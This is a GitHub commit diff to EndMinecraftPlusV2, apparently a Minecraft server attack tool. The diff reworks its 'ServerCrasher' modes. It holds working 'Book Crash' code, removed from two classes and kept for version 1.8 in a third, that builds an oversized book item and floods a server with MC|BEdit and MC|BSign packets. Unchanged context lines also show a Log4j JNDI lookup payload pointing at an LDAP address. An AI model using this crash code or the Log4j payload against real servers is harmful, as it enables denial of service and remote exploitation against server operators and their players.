修正一些错误

This commit is contained in:
SerendipityR 2022-10-07 02:26:15 +08:00 committed by GitHub
parent f0e971aeaa
commit d1380100e7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 20 additions and 115 deletions

View File

@ -9,7 +9,6 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtoco
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.VersionSupport578; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.VersionSupport578;
import com.github.steveice10.mc.protocol.MinecraftProtocol; import com.github.steveice10.mc.protocol.MinecraftProtocol;
import com.github.steveice10.mc.protocol.data.game.entity.metadata.ItemStack;
import com.github.steveice10.mc.protocol.data.message.Message; import com.github.steveice10.mc.protocol.data.message.Message;
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
@ -20,21 +19,14 @@ import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePack
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket; import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
import com.github.steveice10.opennbt.NBTIO;
import com.github.steveice10.opennbt.tag.builtin.CompoundTag;
import com.github.steveice10.opennbt.tag.builtin.ListTag;
import com.github.steveice10.opennbt.tag.builtin.StringTag;
import com.github.steveice10.opennbt.tag.builtin.Tag;
import com.github.steveice10.packetlib.Client; import com.github.steveice10.packetlib.Client;
import com.github.steveice10.packetlib.ProxyInfo; import com.github.steveice10.packetlib.ProxyInfo;
import com.github.steveice10.packetlib.Session; import com.github.steveice10.packetlib.Session;
import com.github.steveice10.packetlib.event.session.*; import com.github.steveice10.packetlib.event.session.*;
import com.github.steveice10.packetlib.io.stream.StreamNetOutput;
import com.github.steveice10.packetlib.packet.Packet; import com.github.steveice10.packetlib.packet.Packet;
import com.github.steveice10.packetlib.tcp.TcpSessionFactory; import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
import io.netty.util.internal.ConcurrentSet; import io.netty.util.internal.ConcurrentSet;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.net.Proxy; import java.net.Proxy;
@ -113,28 +105,7 @@ public class BotAttack extends IAttack {
new Thread(() -> { new Thread(() -> {
switch (ConfigUtil.ServerCrasherMode) { switch (ConfigUtil.ServerCrasherMode) {
case 1: case 1:
new Thread(() -> { LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher");
while (c.isConnected()) {
try {
ItemStack crashBook = getCrashBook();
ByteArrayOutputStream buf = new ByteArrayOutputStream();
StreamNetOutput out = new StreamNetOutput(buf);
out.writeShort(crashBook.getId());
out.writeByte(crashBook.getAmount());
NBTIO.writeTag(buf, crashBook.getNbt());
byte[] crashData = buf.toByteArray();
c.send(new ClientPluginMessagePacket("MC|BEdit", crashData));
c.send(new ClientPluginMessagePacket("MC|BSign", crashData));
OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay);
} catch (Exception ignored) {}
}
}).start();
break; break;
case 2: case 2:
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}"; String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
@ -537,22 +508,4 @@ public class BotAttack extends IAttack {
} }
} }
public static ItemStack getCrashBook() {
ItemStack crashBook;
CompoundTag nbtTag = new CompoundTag("crashBook");
List<Tag> pageList = new ArrayList<>();
// Plain Mode
nbtTag.put(new StringTag("author", OtherUtils.getRandomString(20, 20)));
nbtTag.put(new StringTag("title", OtherUtils.getRandomString(20, 20)));
for (int a = 0; a < 35; a++) {
pageList.add(new StringTag("", OtherUtils.getRandomString(600, 600)));
}
nbtTag.put(new ListTag("pages", pageList));
crashBook = new ItemStack(386, 1, nbtTag);
return crashBook;
}
} }

View File

@ -6,7 +6,6 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.*;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge;
import com.github.steveice10.mc.protocol.data.game.entity.metadata.ItemStack;
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
@ -23,21 +22,14 @@ import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.Serv
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundCustomPayloadPacket; import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundCustomPayloadPacket;
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundKeepAlivePacket; import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundKeepAlivePacket;
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerStatusOnlyPacket; import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerStatusOnlyPacket;
import com.github.steveice10.opennbt.NBTIO;
import com.github.steveice10.opennbt.tag.builtin.CompoundTag;
import com.github.steveice10.opennbt.tag.builtin.ListTag;
import com.github.steveice10.opennbt.tag.builtin.StringTag;
import com.github.steveice10.opennbt.tag.builtin.Tag;
import com.github.steveice10.packetlib.ProxyInfo; import com.github.steveice10.packetlib.ProxyInfo;
import com.github.steveice10.packetlib.Session; import com.github.steveice10.packetlib.Session;
import com.github.steveice10.packetlib.event.session.*; import com.github.steveice10.packetlib.event.session.*;
import com.github.steveice10.packetlib.io.stream.StreamNetOutput;
import com.github.steveice10.packetlib.packet.Packet; import com.github.steveice10.packetlib.packet.Packet;
import io.netty.util.internal.ConcurrentSet; import io.netty.util.internal.ConcurrentSet;
import net.kyori.adventure.text.Component; import net.kyori.adventure.text.Component;
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.net.Proxy; import java.net.Proxy;
@ -137,31 +129,7 @@ public class NewBotAttack extends IAttack {
new Thread(() -> { new Thread(() -> {
switch (ConfigUtil.ServerCrasherMode) { switch (ConfigUtil.ServerCrasherMode) {
case 1: case 1:
while (c.isConnected()) { LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher");
try {
ItemStack crashBook = getCrashBook();
ByteArrayOutputStream buf = new ByteArrayOutputStream();
StreamNetOutput out = new StreamNetOutput(buf);
out.writeShort(crashBook.getId());
out.writeByte(crashBook.getAmount());
NBTIO.writeTag(buf, crashBook.getNbt());
byte[] crashData = buf.toByteArray();
if (ProtocolLibs.adaptAfter758) {
c.send(new ServerboundCustomPayloadPacket("MC|BEdit", crashData));
c.send(new ServerboundCustomPayloadPacket("MC|BSign", crashData));
} else {
c.send(new ClientPluginMessagePacket("MC|BEdit", crashData));
c.send(new ClientPluginMessagePacket("MC|BSign", crashData));
}
OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay);
} catch (Exception ignored) {}
}
break; break;
case 2: case 2:
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}"; String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
@ -680,23 +648,4 @@ public class NewBotAttack extends IAttack {
} }
} }
} }
public static ItemStack getCrashBook() {
ItemStack crashBook;
CompoundTag nbtTag = new CompoundTag("crashBook");
List<Tag> pageList = new ArrayList<>();
// Plain Mode
nbtTag.put(new StringTag("author", OtherUtils.getRandomString(20, 20)));
nbtTag.put(new StringTag("title", OtherUtils.getRandomString(20, 20)));
for (int a = 0; a < 35; a++) {
pageList.add(new StringTag("", OtherUtils.getRandomString(600, 600)));
}
nbtTag.put(new ListTag("pages", pageList));
crashBook = new ItemStack(386, 1, nbtTag);
return crashBook;
}
} }

View File

@ -112,26 +112,30 @@ public class BotAttack extends IAttack {
switch (ConfigUtil.ServerCrasherMode) { switch (ConfigUtil.ServerCrasherMode) {
case 1: case 1:
while (c.isConnected()) { if (MCForge.getProtocolVersion() == 47) {
try { while (c.isConnected()) {
ItemStack crashBook = getCrashBook(); try {
ItemStack crashBook = getCrashBook();
ByteArrayOutputStream buf = new ByteArrayOutputStream(); ByteArrayOutputStream buf = new ByteArrayOutputStream();
StreamNetOutput out = new StreamNetOutput(buf); StreamNetOutput out = new StreamNetOutput(buf);
out.writeShort(crashBook.getId()); out.writeShort(crashBook.getId());
out.writeByte(crashBook.getAmount()); out.writeByte(crashBook.getAmount());
out.writeShort(crashBook.getData()); out.writeShort(crashBook.getData());
NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT()); NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT());
byte[] crashData = buf.toByteArray(); byte[] crashData = buf.toByteArray();
c.send(new ClientPluginMessagePacket("MC|BEdit", crashData)); c.send(new ClientPluginMessagePacket("MC|BEdit", crashData));
c.send(new ClientPluginMessagePacket("MC|BSign", crashData)); c.send(new ClientPluginMessagePacket("MC|BSign", crashData));
OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay); OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay);
} catch (Exception ignored) {} } catch (Exception ignored) {}
}
} else {
LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher");
} }
break; break;
case 2: case 2:

View File

@ -94,7 +94,6 @@ public class MCForge {
Field field = cls.getDeclaredField("PROTOCOL_VERSION"); Field field = cls.getDeclaredField("PROTOCOL_VERSION");
return field.getInt(null); return field.getInt(null);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace();
return 0; return 0;
} }
} }